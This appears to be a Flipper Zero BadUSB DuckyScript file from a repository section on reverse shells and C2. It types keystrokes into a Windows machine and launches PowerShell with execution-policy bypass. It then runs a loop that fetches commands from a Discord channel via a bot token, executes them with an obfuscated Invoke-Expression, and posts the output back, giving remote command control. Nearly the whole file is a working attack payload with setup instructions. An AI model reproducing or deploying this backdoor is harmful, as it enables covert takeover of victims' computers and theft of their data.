Files
BadUSB-Files-For-FlipperZero/Reverse Shells and C2/Simple-Discord-BOT-CLI.txt
2025-06-17 11:07:23 +00:00

21 lines
1.3 KiB
Plaintext

REM Title: Simple Discord BOT CLI
REM Author: @beigeworm
REM Description: Using a Discord Server Chat as a remote powershell connection / CLI
REM Target: Windows 10 and 11
REM SETUP
REM make a discord bot at https://discord.com/developers/applications/
REM add the bot to your discord server
REM Change BOT_TOKEN below with your bot token
REM Change CHANNEL_ID below to your channel id
REM open powershell (remove "-W H" to show the window)
DELAY 1000
GUI r
DELAY 750
STRING powershell -Ep Bypass
ENTER
DELAY 5000
STRING $t = "YOUR_BOT_TOKEN";$c = "YOUR_CHANNEL_ID";function sndmsg{$w.Headers.Add("Content-Type", "application/json");$j = @{"content" = "``````$($b -join "`n")``````"} | ConvertTo-Json;$x = $w.UploadString($u, "POST", $j)}while($true){$u = "https://discord.com/api/v10/channels/$c/messages";$w = New-Object System.Net.WebClient;$w.Headers.Add("Authorization", "Bot $t");$m = $w.DownloadString($u);$r = ($m | ConvertFrom-Json)[0];if(-not $r.author.bot){$a = $r.timestamp;$m = $r.content}if($a -ne $p){$p = $a;$o = ie`x $m;$l = $o -split "`n";$s = 0;$b = @();foreach($z in $l){$y = [System.Text.Encoding]::Unicode.GetByteCount($z);if(($s + $y) -gt 1900){sndmsg;sleep 1;$s = 0;$b = @()}$b += $z;$s += $y}if($b.Count -gt 0){sndmsg}}Sleep 3}
ENTER